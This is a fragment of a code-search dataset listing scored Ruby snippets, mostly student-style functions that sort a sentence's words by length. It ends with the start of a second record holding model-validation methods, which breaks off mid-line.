1\n end\n x += 1\n end\n return sentence_array\nend", "title": "" }, { "docid": "2cc2de815676bceb8655e740466015de", "score": "0.7457643", "text": "def sort_by_length(my_sentence)\n words = my_sentence.split(\" \")\n swap = true\n until swap == false do\n swap = false\n (1...words.length).each do |index|\n if words[index - 1].length <= words[index].length\n else\n words[index - 1], words[index] = words[index], words[index - 1]\n swap = true\n end\n end\n end\n return words\nend", "title": "" }, { "docid": "60e919f709a1e62bac26f8f7f1d5b331", "score": "0.74366885", "text": "def sort_by_length(my_sentence)\n array = my_sentence.split\n i = 0\n\n while i < (array.length - 1)\n x = 0\n while x < (array.length-i) -1\n if array[x].length > array[x+1].length\n hold = array[x]\n array[x] = array [x+1]\n array[x+1] = hold\n end\n x += 1\n end\n i += 1\n end\n\n return array\nend", "title": "" }, { "docid": "261e0e8af8e19a9a61ef086cf73db3b6", "score": "0.7434987", "text": "def sort_by_length(my_sentence)\n my_sentence = my_sentence.split(\" \")\n i = 1\n while i < my_sentence.length\n to_insert = my_sentence[i]\n j = i\n while j > 0 && my_sentence[j-1].length > to_insert.length\n my_sentence[j] = my_sentence[j-1]\n my_sentence[j-1] = to_insert\n j -= 1\n end\n i += 1\n end\n return my_sentence\nend", "title": "" }, { "docid": "cfa4bcc51ada47700895247c35c0b515", "score": "0.7388176", "text": "def sort_by_length(my_sentence)\n # split my_sentence by words assuming spaces separate them\n # insertion_sort them in here, returning array of words\n words = my_sentence.split(\" \")\n # loop through from 2nd item to end, outer loop increasing by one,\n i = 1\n while i < words.length\n # set variable equal to \"to_be_inserted\"\n to_be_inserted = words[i]\n j = i\n # from j to the beginning, and until j is less than value at [j-1]\n while j > 0 && words[j-1].length > to_be_inserted.length \n # check the value at [j-1], if value at [j-1] is greater than value at [j] then swap their values\n if words[j-1].length > words[j].length\n words[j], words[j-1] = words[j-1], words[j]\n end\n j -= 1\n end\n words[j] = to_be_inserted\n i += 1\n end\n return words\nend", "title": "" }, { "docid": "7faa8174d7cac94cde259dc45fc57753", "score": "0.7387962", "text": "def sort_by_length(my_sentence)\n insertion_sort(my_sentence.split(' '), &:length)\nend", "title": "" }, { "docid": "74b933ac8eb7e157c8d0fb9076561ed8", "score": "0.7377082", "text": "def sort_by_length(my_sentence)\n return [] if my_sentence == \"\"\n \n #Convert the string to an array of strings\n strings_array = my_sentence.split\n \n # Sort (use selection)the length of each element \n i = 0 \n while i < strings_array.length - 1\n min_index = i \n j = i+1\n while j < strings_array.length\n if strings_array[j].length < strings_array[min_index].length\n min_index = j\n end\n j +=1\n end\n if min_index != i\n temp = strings_array[min_index]\n strings_array[min_index] = strings_array[i]\n strings_array[i] = temp\n return strings_array\n end\n i +=1\n end\nend", "title": "" }, { "docid": "4a0455225487d38f6c7f6fca084ff2dc", "score": "0.73697656", "text": "def sort_by_length(my_sentence)\n array = my_sentence.split(\" \")\n length = array.length\n\n i = 0\n while i < length\n j = 0\n # search in the sorted portion of the array\n # for the correct position to insert array[i]\n while j < length - i - 1\n if array[j].length > array[j + 1].length\n temp = array[j]\n array[j] = array[j + 1]\n array[j + 1] = temp\n end\n\n j += 1\n end\n i += 1\n end\n\n return array\nend", "title": "" }, { "docid": "a3c60368f36049226f57a1797140a2e5", "score": "0.7330809", "text": "def sort_by_length(my_sentence)\n words = my_sentence.split(%r{\\s+})\n sorted_words = []\n until words.length == 0\n smallest_word = words.min_by { |w| w.length }\n sorted_words.push(smallest_word)\n words.delete(smallest_word)\n end\n\n return sorted_words\nend", "title": "" }, { "docid": "2169e337311e9616a258b8e2810cb74e", "score": "0.73024225", "text": "def sort_by_length(my_sentence)\n words_array = my_sentence.split(\" \")\n # bubble sort\n i = 0\n while i < ((words_array.length) - 1)\n j = i + 1\n while j < ((words_array.length) - i)\n if words_array[j - 1].length > words_array[j].length # swap\n temp = words_array[j - 1]\n words_array[j - 1] = words_array[j]\n words_array[j] = temp\n end\n j += 1\n end\n i += 1\n end\n return words_array\nend", "title": "" }, { "docid": "70e49b79137c88439757d579a6e3d283", "score": "0.72622734", "text": "def sort_by_length(my_sentence)\n return [] if my_sentence == \"\"\n array = my_sentence.split(\" \")\n length = array.length\n \n i = 1\n while i < length\n to_insert = array[i]\n j = i\n while j > 0 && (array[j-1].length) > (to_insert.length)\n array[j] = array[j-1]\n j -= 1\n end\n array[j] = to_insert\n i += 1\n end\n return array\nend", "title": "" }, { "docid": "3bce6997b8365654f4fd6b84c7c58d24", "score": "0.7241077", "text": "def sort_by_length(my_sentence)\n array = []\n array_index = 0\n sentence_length = my_sentence.length\n word_end = 0\n array_word = \"\"\n \n # Instead of .split -- makes an array\n while word_end <= sentence_length\n if my_sentence[word_end] != \" \" && my_sentence[word_end] != nil\n array_word = array_word + my_sentence[word_end]\n word_end += 1\n elsif array_word != \"\"\n array[array_index] = array_word\n array_index += 1\n array_word = \"\"\n word_end +=1\n else\n word_end +=1\n end\n end\n \n # Arrange array using bubble sort w/optimization for already sorted arrays\n length = array.length\n i = 0\n swapped = true\n \n while i < length-1 && swapped\n j = 0\n swapped = false\n while j < length-i-1\n if array[j].length > array[j+1].length\n temp = array[j]\n array[j] = array[j+1]\n array[j+1] = temp\n swapped = true\n end\n j += 1\n end\n i += 1\n end\n return array\nend", "title": "" }, { "docid": "906aaed3c3cd8505304d69fb8b3729aa", "score": "0.722819", "text": "def sort_by_length(my_sentence)\n if my_sentence == \"\"\n return []\n end\n # selection sort\n array = my_sentence.split(\" \")\n count = array.length\n outer_loop_index = 0\n\n while outer_loop_index < count - 1\n inner_loop_index = outer_loop_index + 1\n min_index = outer_loop_index\n while inner_loop_index < count\n if array[min_index].length > array[inner_loop_index].length\n min_index = inner_loop_index\n end\n inner_loop_index += 1\n end\n # If there's a value smaller than existing, swap\n if array[outer_loop_index] != array[min_index]\n array[outer_loop_index], array[min_index] = array[min_index], array[outer_loop_index]\n end\n outer_loop_index += 1\n end\n return array\nend", "title": "" }, { "docid": "052e3038badf19e0b57a8291fc82e497", "score": "0.71906", "text": "def sort_by_length(my_sentence)\n #insertion sort\n my_sentence = my_sentence.split\n i = 0\n num_words = my_sentence.length\n\n while i < num_words\n j = i\n while j > 0\n if my_sentence[j].length < my_sentence[j - 1].length\n #parallel assignment\n my_sentence[j], my_sentence[j - 1] = my_sentence[j - 1], my_sentence[j]\n end\n j -= 1\n end\n i += 1\n end\n\n return my_sentence\n\nend", "title": "" }, { "docid": "9c8e6fd558ad9cd56dddf0426ed7fd5f", "score": "0.717116", "text": "def sort_by_length(my_sentence)\n sorted_sentence = my_sentence.split(\" \")\n bubble_sort(sorted_sentence, sorted_sentence.length)\n return sorted_sentence\nend", "title": "" }, { "docid": "04597be3a03dba37e4c417e983ace123", "score": "0.7154415", "text": "def sort_by_length(my_sentence)\n \n sentence_arr = my_sentence.split(\" \")\n return sentence_arr if sentence_arr.length <= 1 \n\n changed = false\n\n while !changed\n for index in (0...sentence_arr.length - 1)\n if sentence_arr[index].length > sentence_arr[index + 1].length\n sentence_arr[index], sentence_arr[index + 1] = sentence_arr[index + 1], sentence_arr[index]\n changed = true\n end\n end\n end\n return sentence_arr\nend", "title": "" }, { "docid": "1621eefe34f2b7ec19dc48b6f49401a9", "score": "0.710963", "text": "def sort3(array, length)\n length -= 1\n while length > -1\n bins = []\n 26.times { |_| bins << [] }\n array.each do |word|\n bins[word[length].ord - 'a'.ord].push(word)\n end\n array = []\n bins.each do |bin|\n array.concat(bin)\n end\n length -= 1\n end\n array\nend", "title": "" }, { "docid": "3432ecaf57bdb1193733b0ac16856c2c", "score": "0.71018213", "text": "def sort_string(string)\n string.split(' ').sort_by { |word| word.length } .join(' ')\nend", "title": "" }, { "docid": "5179a18e66fd2aee8bec612c4fc6e723", "score": "0.70911956", "text": "def sort_words_by_length_then_alpha(words)\n words_grouped_by_length = {}\n\n words.each do |word|\n length = word.length\n if words_grouped_by_length[length]\n words_grouped_by_length[length] << word\n else\n words_grouped_by_length[length] = [word]\n end\n end\n\n sorted_words = []\n\n words_grouped_by_length.sort.each do |word_group|\n sorted_words << word_group.last.sort\n end\n\n sorted_words.flatten\nend", "title": "" }, { "docid": "c7b3390c5336ccd766b8553faea6a8c8", "score": "0.7086055", "text": "def sort_array_char_count arr\n arr.sort_by {|word| word.length }\nend", "title": "" }, { "docid": "08a94589a1b3529f8428c2194089833f", "score": "0.70814866", "text": "def sort_by_length(my_sentence)\n sentence_array = my_sentence.split()\n length = sentence_array.length\n i = 0\n swapped = true\n while i < length - 1 && swapped #first loop\n j = 0\n swapped = false\n while j < length - 1 - i # second loop\n if sentence_array[j].length > sentence_array[j+1].length\n temp = sentence_array[j] \n sentence_array[j] = sentence_array[j+1]\n sentence_array[j+1] = temp\n swapped = true\n end\n j += 1 \n end\n i += 1\n end\n return sentence_array\nend", "title": "" }, { "docid": "b3f56fd1f31687f196702c11be6c43df", "score": "0.7070705", "text": "def sort_by_length(my_sentence)\n# splits the sentence\n array_of_sentence = my_sentence.split\n\n #short-cirtcuit retunn statement for empty strings\n if array_of_sentence.length == 0\n return []\n end\n \n i = 0 #internal counter\n \n e = 1 #external counter\n \n # bubble sort :)\n until e == array_of_sentence.length - 1\n \n until i == array_of_sentence.length - 1\n \n if array_of_sentence[i].length > array_of_sentence[i + 1].length\n array_of_sentence[i], array_of_sentence[i + 1] = array_of_sentence[i + 1], array_of_sentence[i]\n i += 1\n else\n i += 1\n end\n \n end\n \n e += 1\n \n end\n\n #returns transformed, digested, sorted array\n return_statement = array_of_sentence\n \n return return_statement\n \nend", "title": "" }, { "docid": "4c88d117f56002fef01652817524047e", "score": "0.7053505", "text": "def shortest_string(list_of_words)\n # Your code goes here!\n to_int = []\n \n list_of_words.each do |word|\n to_int.push(word.length)\n end\n \n to_int.sort!\n \n ordered = []\n \n to_int.each do |num|\n list_of_words.each do |word|\n if word.length == num\n ordered.push(word)\n end\n end\n end\n \n return ordered[0]\nend", "title": "" }, { "docid": "24771fcb53cc8d0b3ca458928b5ba666", "score": "0.70485467", "text": "def sort_by_length(my_sentence)\n split_sentence = my_sentence.split(\" \") \n #adapted from Insertion Sort lecture\n i = 1\n while i < split_sentence.length\n to_insert = split_sentence[i]\n j = i\n while j > 0 && split_sentence[j-1].length > to_insert.length\n split_sentence[j] = split_sentence[j-1]\n j -= 1\n end\n split_sentence[j] = to_insert\n i += 1\n end\n p split_sentence\n end", "title": "" }, { "docid": "6260bcfa925815e6b493ba29a7f2cf9b", "score": "0.70480907", "text": "def sort_by_length(my_sentence)\n arr = my_sentence.split(\" \")\n\n arr.each_with_index do |word,index|\n previous_word = arr[index - 1]\n\n if index == 0 \n # do nothing\n elsif word.length < previous_word.length\n arr[index - 1], arr[index] = word, previous_word\n end\n end\n\n return arr\nend", "title": "" }, { "docid": "57edc1603311e386ff1e5b88de7e7263", "score": "0.7040386", "text": "def sort_by_length(string)\n sortedString = string.delete(\".\").split.sort_by{|word| word.length}.join(\" \")\nend", "title": "" }, { "docid": "e52519f4e02bd10aa10e0a12558b0809", "score": "0.6986295", "text": "def find_short(s)\n # your code here\n split_strings = s.split()\n l = split_strings.sort_by(&:length)\n return l[0].length # l: length of the shortest word\nend", "title": "" }, { "docid": "cb1c19dbe973a293e20fee026e75fb16", "score": "0.69719213", "text": "def sort\nmy_array = [\"Hello\", \"Yo\", \"Goodbye\", \"Howdy\"]\nmy_new_array = my_array.sort_by { |word| word.length }\nputs my_new_array\nend", "title": "" }, { "docid": "bcfeaf783b0fa42cf02f826b901e627a", "score": "0.69585437", "text": "def sort_by_length(my_sentence)\n sentence = my_sentence.split\n index = 1\n while index < sentence.length\n value_to_insert = sentence[index]\n current_index = index\n\n # will iterate until current value is first in the list or the value to the left is less than the right\n while current_index > 0 && sentence[current_index-1].length > value_to_insert.length\n # current index value assigned the larger value to the left\n # reassign greater value\n sentence[current_index] = sentence[current_index - 1]\n # current index moves to the left each loop\n current_index -= 1\n end\n\n # reassign value_to_insert where current_index ended up(complete the swap)\n sentence[current_index] = value_to_insert\n index += 1\n end\n return sentence\nend", "title": "" }, { "docid": "0e19c23378bbdd786652d52c4c6e5592", "score": "0.6950357", "text": "def sluggish_octopus\n pond = ['fish', 'fiiish', 'fiiiiish', 'fiiiish', 'fffish', 'ffiiiiisshh', 'fsh', 'fiiiissshhhhhh']\n\n longest = pond[0]\n f_length = pond[0].length\n\n pond[1..-1].each_with_index do |word|\n (0...pond.length).each_with_index do |el, idx|\n if pond[idx].length < f_length\n end\n if word.length > f_length\n longest = word\n f_length = word.length\n end\n end\n end\n puts longest\n\nend", "title": "" }, { "docid": "8d472c30ffe2e5df7ef867f3d5a9b7eb", "score": "0.6939633", "text": "def split_word(s)\n 0.upto(s.length - 1).flat_map do |start| \n 2.upto(s.length - start).map do |length| \n s[start, length]\n end\n end.uniq.sort_by {|x| x.length}.reverse\nend", "title": "" }, { "docid": "fdea8d1c42fb67fe24a6c8ca828dfd32", "score": "0.6932544", "text": "def my_sort(vowel_words)\n done = false\n loop_times = vowel_words.size-1\n while !done\n done = true\n loop_times.times do |order|\n if vowel_words[order].size > vowel_words[order+1].size\n vowel_words[order],vowel_words[order+1] =vowel_words[order+1],vowel_words[order]\n done =false\n end\n end \n end\n return vowel_words\nend", "title": "" }, { "docid": "07b093de127d56f5448260d0c5e7a5a5", "score": "0.69173485", "text": "def sort_by_length(my_sentence)\n return [] if my_sentence.nil? || my_sentence.length == 0\n \n return insertion_sort(my_sentence.split(\" \"))\nend", "title": "" }, { "docid": "1020e10240773bf732c46afb8b0e6c8e", "score": "0.6907412", "text": "def find_short(s)\n answer_array = []\n split_array = s.split(\" \")\n for i in split_array\n l = i.length\n answer_array << l\n end\n p answer_array.sort.first # l: length of the shortest word\nend", "title": "" }, { "docid": "d6d07195ace1fb8c16610644a6da311b", "score": "0.68784446", "text": "def longest(array,n)\n hsh = Hash.new(0)\n array.each { |word| hsh[word] += word.length }\n hsh.sort { |a,b| (a.last <=> b.last) == 0 ? (array.index(a) <=> array.index(b)) : (b.last <=> a.last) }[n-1].first\nend", "title": "" }, { "docid": "e82d7a9330fc69cf3350f0907caaea08", "score": "0.6875085", "text": "def sort_string(string)\n words = string.split(\" \")\n words.sort! { |a,b| a.length <=> b.length }\n words.join(\" \")\nend", "title": "" }, { "docid": "c4e2a437c36f81c7c2f35a75766be96d", "score": "0.6861938", "text": "def sort_string(string)\n after_split = string.split(\" \")\n measuring_length = after_split.sort_by(&:length)\n result = measuring_length.join(\" \")\n p result\nend", "title": "" }, { "docid": "6ec973def6c5b91796649f0605936356", "score": "0.68507206", "text": "def longest(arr,n)\n arr.sort_by { |word| -word.length }[n-1]\nend", "title": "" }, { "docid": "2ddecf87be45ad9bb3ceaeeba0f89785", "score": "0.6849657", "text": "def shortest_string(list_of_words)\n short_string = list_of_words[0]\n counter = 0\n while counter < list_of_words.length\n if short_string.length > list_of_words[counter].length\n short_string = list_of_words[counter]\n end\n counter += 1\n end\n p short_string\n #return list_of_words.sort_by {|x| x.length}[0]\nend", "title": "" }, { "docid": "9cbebac008767f897909b733c93029b8", "score": "0.6848476", "text": "def sort_array_char_count(array)\n array.sort_by { |word| word.length }\nend", "title": "" }, { "docid": "c9fa9407e3cbeefe92941193f99091e4", "score": "0.6833947", "text": "def longest_string(list_of_words)\n to_int = []\n \n list_of_words.each do |word|\n to_int.push(word.length)\n end\n \n to_int.sort! {|x,y| y <=> x}\n \n ordered = []\n \n to_int.each do |num|\n list_of_words.each do |word|\n if word.length == num\n ordered.push(word)\n end\n end\n end\n \n return ordered[0]\nend", "title": "" }, { "docid": "ea8f845c629a2b60a45f82cd8e7a9e8a", "score": "0.6813655", "text": "def sort_array_char_count(array)\n array.sort_by { |word| word.length }\nend", "title": "" }, { "docid": "38508b91b1397505499c44e0a156464e", "score": "0.6812019", "text": "def word_sizes str\n freq_hash = {}\n str.split(' ').each do |word|\n if freq_hash.key? word.length\n freq_hash[word.length] += 1\n else\n freq_hash[word.length] = 1\n end\n end\n freq_hash.sort_by {|key,_| key}.to_h\nend", "title": "" }, { "docid": "a564a911d8f98b5376dc6481744e3a39", "score": "0.68111706", "text": "def shortest_string(list_of_words)\n list_of_words = list_of_words.sort_by {|x| x.length}\n puts list_of_words[0]\nend", "title": "" }, { "docid": "94ebbf24125a8173483c6e2ffd770f97", "score": "0.6793172", "text": "def sort_string(string)\n # your code here\n return string.split(\" \").sort_by {|x| x.length}.join(\" \")\nend", "title": "" }, { "docid": "0648335c268c3c50e6d81b2e969ea5f8", "score": "0.67883974", "text": "def sort_words(words)\n\n\tsorted_words = []\n\n\tgoal = words.length #check when sorted_words is the same size as original\n\n\twhile sorted_words.length < goal\n\n\t\t#Take word from words\n\t\tfor word in words do\n\n\t\t\t#check against remaining words\n\t\t\tfor j in 0..words.length - 1\n\n\t\t\t\tcompare = words[j]\n\n\t\t\t\tputs \"Word: \" + word + ' & Compare: ' + compare\n\n\t\t\t\t#More nesting to check chars\n\t\t\t\tlimit = 0\n\t\t\t\tif word.length < compare.length\n\t\t\t\t\tlimit = word.length - 1\n\t\t\t\telse \n\t\t\t\t\tlimit = compare.length - 1\n\t\t\t\tend\n\n\t\t\t\tfor k in 0..limit\n\n\t\t\t\t\tif compare[k] < word[k]\n\t\t\t\t\t\tword = compare\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\twords.delete(word)\n\t\t\tsorted_words << word\n\n\t\t\t#Debug prints\n\t\t\t# puts 'Words: ' + words.to_s\n\t\t\t# puts 'Sorted Words: ' + sorted_words.to_s\n\t\t\t# puts '-------------------------------'\n\t\tend\n\tend\n\t\treturn sorted_words\nend", "title": "" }, { "docid": "a0c944703eb1c71647547b4eaca3892d", "score": "0.67842937", "text": "def wordsort(words)\n words.each_index do |i|\n next if i.zero?\n\n j = i - 1\n word = words[i]\n pos = binary_search words, word, 0, j\n while j >= pos\n words[j + 1] = words[j]\n j -= 1\n end\n words[j + 1] = word\n end\nend", "title": "" }, { "docid": "994a84b9f0645be8e403499912d036e8", "score": "0.6746832", "text": "def sort_array_char_count(array)\n array.sort_by do |word|\n word.length\n end\nend", "title": "" }, { "docid": "f78bc52095791cb6b3d47e8fe86d9d6f", "score": "0.6745401", "text": "def shortest_string(list_of_words)\n word_hash = {}\n if list_of_words.length > 0\n list_of_words.each do |word|\n word_hash[word] = word.length\n end\n word_length_array = word_hash.sort_by {|key, value| value}\n word_length_array[0][0]\n else\n nil\n end\nend", "title": "" }, { "docid": "8cf6a677efaf30ff1fedcd93090abb18", "score": "0.6734158", "text": "def find_short(s)\n shortest_word = s.split.sort_by { |word| word.size }\n shortest_word_length = shortest_word.first.size\nend", "title": "" }, { "docid": "f833eb07298e90fa41187105fbd3893f", "score": "0.67272204", "text": "def longest_length(realwords)\n realwords = realwords.sort_by(&:length).reverse\n realwords[0].length\nend", "title": "" }, { "docid": "73e4a5f7770fc54eebdb2fb930247eec", "score": "0.67183894", "text": "def sort_by_string_length (arr)\n arr = arr.sort_by {|x| x.length}\nend", "title": "" }, { "docid": "e5d77d6f4303c99755b33a5c8f8a76d0", "score": "0.6717437", "text": "def longest(arr,n)\n arr.sort_by { |word| [-word.length, arr.index(word)] }[n-1]\nend", "title": "" }, { "docid": "d1724eb2476a0f7476045b6d9abd4269", "score": "0.67063046", "text": "def find_short(s)\n z = s.split(\" \")\n l = []\n z.each do |x|\n l << x.length\n end\n l.sort!\n l[0]\nend", "title": "" }, { "docid": "a2f21eef4ecab0c97e958a69fdbe0ec7", "score": "0.6698688", "text": "def sort_array_char_count(array)\n sorted_array = array.sort_by { |word| word.length }\n return sorted_array\nend", "title": "" }, { "docid": "e487742a7616a44b6b6b7299298c6678", "score": "0.66689223", "text": "def longest_word(sentence)\np sentence.split.sort_by(&:length).last # NOTE: :(&:length) call the length method on every element.\nend", "title": "" }, { "docid": "f1ab5a33618c990309bb5703ef397f98", "score": "0.6666508", "text": "def sort_array_char_count(array_of_s)\narray_of_s.sort{|x,y| x.length <=> y.length}\nend", "title": "" }, { "docid": "1d5d7f60d7bd2e4b52574f2c02c15678", "score": "0.6666022", "text": "def longest_words(words)\n words.sort_by { |w| w.size }.tap do |sorted|\n longest = sorted.last.size\n sorted.delete_if { |w| w.size < longest }\n end.sort\nend", "title": "" }, { "docid": "c33544b39b5bd97c7403a3e31167a1f6", "score": "0.66651535", "text": "def longest_string(list_of_words)\n word_hash = {}\n if list_of_words.length > 0\n list_of_words.each do |word|\n word_hash[word] = word.length\n end\n word_length_array = word_hash.sort_by {|key, value| value}\n word_length_array.reverse[0][0]\n else\n nil\n end\nend", "title": "" }, { "docid": "f199b4b5479a35e3ab98a5e2c6270a9f", "score": "0.6662726", "text": "def sort_string(strings)\n\t# strings.sort {|a,b| a.length <=> b.length}\n\tstrings.sort_by(&:length)\n\nend", "title": "" }, { "docid": "6fe79753a1dbdbf268b83935a2c8534b", "score": "0.6650456", "text": "def wordsort (word)\n\t\twordLength = word.length\t\t# Count the length of word(array\n\t\t\n\t\tif wordLength > 1\n\t\t\t\t\t\n\t\t\tfor i in 0..word.length-1 do\t# loop begin first index of word\n\t\t\t\t\t\t\n\t\t\t\tfor a in 0..word.length-2 do\t# and compare all the other words\n\t\t\t\t\tif word[i] < word[a]\t# if starting word is less then other words, then sort\n\t\t\t\t\t\tkey = word[a]\t# key is other word\n\t\t\t\t\t\tword[a] = word[i]\t# other word should be starting word (swap)\n\t\t\t\t\t\tword[i] = key\t\t# starting word should be other word (swap\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\tend\n\t\tend\n\t\treturn word\t\t# return sorted word(array)\nend", "title": "" }, { "docid": "ad0e84586a1886a0220d4441b308a567", "score": "0.6641821", "text": "def sort_string(string)\n string.split(' ').sort{|x, y| x.length <=> y.length}.join(' ')\nend", "title": "" }, { "docid": "8b3912964da8f86b85fb6d20f7c6a853", "score": "0.66270876", "text": "def term_sort\n self.sort do |a, b|\n len_diff = a.length <=> b.length\n len_diff == 0 ? a <=> b : len_diff\n end\n end", "title": "" }, { "docid": "8b3912964da8f86b85fb6d20f7c6a853", "score": "0.66270876", "text": "def term_sort\n self.sort do |a, b|\n len_diff = a.length <=> b.length\n len_diff == 0 ? a <=> b : len_diff\n end\n end", "title": "" }, { "docid": "8b3912964da8f86b85fb6d20f7c6a853", "score": "0.66270876", "text": "def term_sort\n self.sort do |a, b|\n len_diff = a.length <=> b.length\n len_diff == 0 ? a <=> b : len_diff\n end\n end", "title": "" }, { "docid": "0d80cff74cd369bc5a4ee63f90b262f1", "score": "0.66221046", "text": "def sort3(strings, length)\n (length - 1).downto(0) do |i|\n buckets = Array.new(26) { [] }\n strings.each do |string|\n letter = string[i]\n buckets[letter.ord - \"a\".ord] << string\n end\n\n strings = []\n buckets.each do |bucket|\n bucket.each { |string| strings << string }\n end\n end\n\n strings\nend", "title": "" }, { "docid": "87fff81bab4bf55374f4846a53f54cf8", "score": "0.66164404", "text": "def sort_string(string)\n # your code here\n x = string.split\n x.sort!{|x,y| x.length <=> y.length}\n x.join(\" \")\nend", "title": "" } ]
b6b9cd199dfaed08c4c534812e0ac109
Check to see if the all the properties in the model are valid
[ { "docid": "af273056b27b2137c130160c6cde1a6b", "score": "0.0", "text": "def valid?\n \n \n \n \n \n \n if @nome.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @cpf.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @id_origem_comercial.nil?\n return false\n end\n\n \n \n \n \n \n if @id_produto.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @dia_vencimento.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @enderecos.nil?\n return false\n end\n\n \n \n \n \n \n if @limite_global.nil?\n return false\n end\n\n \n \n \n \n \n if @limite_maximo.nil?\n return false\n end\n\n \n \n \n \n \n if @limite_parcelas.nil?\n return false\n end\n\n \n \n \n \n \n if @limite_consignado.nil?\n return false\n end\n\n \n \n \n \n end", "title": "" } ]
[ { "docid": "162d0e63d65b0cd6795543bab63498f2", "score": "0.78992486", "text": "def validate_properties\n true\n end", "title": "" }, { "docid": "162d0e63d65b0cd6795543bab63498f2", "score": "0.78992486", "text": "def validate_properties\n true\n end", "title": "" }, { "docid": "162d0e63d65b0cd6795543bab63498f2", "score": "0.78992486", "text": "def validate_properties\n true\n end", "title": "" }, { "docid": "7e1cf03ada75c5c0c29ef78131b65d3c", "score": "0.74249", "text": "def check_attributes\n self.class.type.property_names.each do |property|\n type_check_property(property) if @values.has_key?(property)\n end\n end", "title": "" }, { "docid": "4e834071897c4d99bb979f3fd55833d1", "score": "0.7239131", "text": "def assert_valid_model # :nodoc:\n return if self.class._valid_model\n properties = self.properties\n\n if properties.empty? && relationships.empty?\n raise IncompleteResourceError, \"#{model.name} must have at least one property or relationship to be initialized.\"\n end\n\n if properties.key.empty?\n raise IncompleteResourceError, \"#{model.name} must have a key.\"\n end\n\n self.class.instance_variable_set(\"@_valid_model\", true)\n end", "title": "" }, { "docid": "39ecfa3e5f40d0863c03879b368ad489", "score": "0.72360945", "text": "def validate\n res = true\n\n mandatory_properties = company.properties.select { |p| p.mandatory? }\n mandatory_properties.each do |p|\n if !property_value(p)\n res = false\n errors.add_to_base(_(\"%s is required\", p.name))\n end\n end\n\n return res\n end", "title": "" }, { "docid": "df1917de5380f9b82913ebdda2220c46", "score": "0.71921897", "text": "def property_checks\n return unless properties\n properties.each do |property|\n REQUIRED_PROPERTY_FIELDS.each do |field|\n self.errors.add(:properties, \"Property invalid. '#{field}' field is a missing\") unless property.has_key?(field)\n end\n end\n end", "title": "" }, { "docid": "9644f0248188ad1d93bdd73e6421f6b1", "score": "0.71206594", "text": "def valid?(model)\n true\n end", "title": "" }, { "docid": "712aaf3abf5ade1747eaf01dc1e85a65", "score": "0.7093813", "text": "def validate!(props)\n\n end", "title": "" }, { "docid": "5a87d02949a1c2ffe3117bf8d21d3bd3", "score": "0.70880663", "text": "def valid?\n validations = properties_instances.collect do |property_type|\n if property_type.property.respond_to?(:valid?)\n property_type.property.valid?\n else\n true\n end\n end\n\n validations.all?\n end", "title": "" }, { "docid": "416ea18aaad585815a87a22d36cc71f2", "score": "0.706489", "text": "def validate\n required_attributes = [\n :name,\n :md5,\n :description,\n :type\n ]\n\n required_attributes.map do |ra|\n self.send(ra)\n end.include? nil\n\n end", "title": "" }, { "docid": "3acd69b8ef5685bac070594efcd87dfd", "score": "0.70632136", "text": "def valid?\n return false if @error_type.nil?\n error_type_validator = EnumAttributeValidator.new('String', [\"INCORRECT_NUMBER_OF_COLUMNS\", \"INVALID_OBJECT_ID\", \"INVALID_ASSOCIATION_IDENTIFIER\", \"NO_OBJECT_ID_FROM_ASSOCIATION_IDENTIFIER\", \"MULTIPLE_COMPANIES_WITH_THIS_DOMAIN\", \"PROPERTY_DEFINITION_NOT_FOUND\", \"PROPERTY_VALUE_NOT_FOUND\", \"COULD_NOT_FIND_OWNER\", \"MULTIPLE_OWNERS_FOUND\", \"COULD_NOT_FIND_BUSINESS_UNIT\", \"COULD_NOT_PARSE_NUMBER\", \"COULD_NOT_PARSE_DATE\", \"COULD_NOT_PARSE_TERM\", \"OUTSIDE_VALID_TIME_RANGE\", \"OUTSIDE_VALID_TERM_RANGE\", \"COULD_NOT_PARSE_ROW\", \"INVALID_ENUMERATION_OPTION\", \"AMBIGUOUS_ENUMERATION_OPTION\", \"FAILED_VALIDATION\", \"FAILED_TO_CREATE_ASSOCIATION\", \"FILE_NOT_FOUND\", \"INVALID_COLUMN_CONFIGURATION\", \"INVALID_FILE_TYPE\", \"INVALID_SPREADSHEET\", \"INVALID_SHEET_COUNT\", \"FAILED_TO_PROCESS_OBJECT_WITH_EMPTY_PROPERTY_VALUES\", \"UNKNOWN_BAD_REQUEST\", \"GDPR_BLACKLISTED_EMAIL\", \"DUPLICATE_ASSOCIATION_ID\", \"LIMIT_EXCEEDED\", \"INVALID_ALTERNATE_ID\", \"INVALID_EMAIL\", \"INVALID_DOMAIN\", \"DUPLICATE_ROW_CONTENT\", \"INVALID_NUMBER_SIZE\", \"UNKNOWN_ERROR\", \"FAILED_TO_OPT_OUT_CONTACT\", \"INVALID_REQUIRED_PROPERTY\", \"MISSING_REQUIRED_PROPERTY\", \"DUPLICATE_ALTERNATE_ID\", \"DUPLICATE_OBJECT_ID\", \"DUPLICATE_UNIQUE_PROPERTY_VALUE\", \"BLANK_VALUE_PROVIDED\", \"UNKNOWN_ASSOCIATION_RECORD_ID\", \"INVALID_RECORD_ID\", \"DUPLICATE_RECORD_ID\", \"INVALID_CUSTOM_PROPERTY_VALIDATION\", \"CREATE_ONLY_IMPORT\", \"UPDATE_ONLY_IMPORT\", \"COLUMN_TOO_LARGE\"])\n return false unless error_type_validator.valid?(@error_type)\n return false if @source_data.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"CONTACT\", \"COMPANY\", \"DEAL\", \"ENGAGEMENT\", \"TICKET\", \"OWNER\", \"PRODUCT\", \"LINE_ITEM\", \"BET_DELIVERABLE_SERVICE\", \"CONTENT\", \"CONVERSATION\", \"BET_ALERT\", \"PORTAL\", \"QUOTE\", \"FORM_SUBMISSION_INBOUNDDB\", \"QUOTA\", \"UNSUBSCRIBE\", \"COMMUNICATION\", \"FEEDBACK_SUBMISSION\", \"ATTRIBUTION\", \"SALESFORCE_SYNC_ERROR\", \"RESTORABLE_CRM_OBJECT\", \"HUB\", \"LANDING_PAGE\", 